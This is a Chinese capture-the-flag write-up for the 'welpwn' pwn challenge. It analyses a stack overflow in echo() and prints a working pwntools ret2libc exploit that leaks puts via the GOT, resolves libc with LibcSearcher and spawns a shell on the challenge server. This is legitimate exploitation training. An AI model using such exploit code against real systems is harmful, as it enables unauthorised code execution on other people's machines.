echo函數(shù)中有明顯的棧溢出：
void echo(char *buf)
{
int iVar1;
char local_18 [16];
for (i = 0; buf[i] != '\0'; i += 1) {
local_18[i] = buf[i];
}
local_18[i] = '\0';
iVar1 = strcmp("ROIS",local_18);
if (iVar1 == 0) {
printf("RCTF{Welcome}");
puts(" is not flag");
}
printf("%s",local_18);
return;
}
本地的buf復(fù)制時(shí)未做邊界檢查，但這里和通常的棧溢出算偏移量再做ROP有差異，也是這道題最巧妙的地方，進(jìn)入echo函數(shù)時(shí)的所有輸入已經(jīng)留在上一個(gè)函數(shù)棧幀中了，然而buf的復(fù)制給了覆蓋返回地址的手段，先放出做ROP時(shí)棧的分布，然后解釋原因：
在echo函數(shù)中的原本的輸入是從返回地址之后的位置開始的，填充一些后可以覆蓋返回地址，buf復(fù)制中止的條件是讀到'\0'字節(jié)，用ropper或ROPgadget找到的gadget地址高位字節(jié)均為'\0'：
復(fù)制的字節(jié)將在遇到第一個(gè)gadget時(shí)停止，此時(shí)gadget低位地址仍會(huì)被復(fù)制，于是寫真正的ROP鏈需要將這些用于填充的無用字節(jié)從棧中剔除出去，很自然的聯(lián)想到用多個(gè)pop來處理，用于pop多余字節(jié)的gadget也需要從棧中剔除，所以有了第一張圖中的ROP鏈設(shè)計(jì)。
剩下的就是ret2libc環(huán)節(jié)了，看了別人的WP最后也用了Libcsearcher這一工具，可以在libc信息未知的情況下根據(jù)got表中庫函數(shù)的地址推測(cè)libc的版本并給出函數(shù)或字符串在libc中的偏移量，寫exp：
from pwn import *
from LibcSearcher import *
context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3
junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base
payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()
# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;
比較奇怪的是IO，main中的"Welcome to RCTF\n"會(huì)先于ROP鏈中的puts(elf.got['puts'])打印出來，這大概率和write和printf的緩沖區(qū)輸出相關(guān)，但我在本地調(diào)試時(shí)打印順序是符合ROP鏈的，而且本地的libc沒有與Libcsearcher云上存的Libc庫匹配，這可能是因?yàn)楸镜氐膌ibc版本過新的原因，以后還是盡量調(diào)試pwninit后的elf文件。
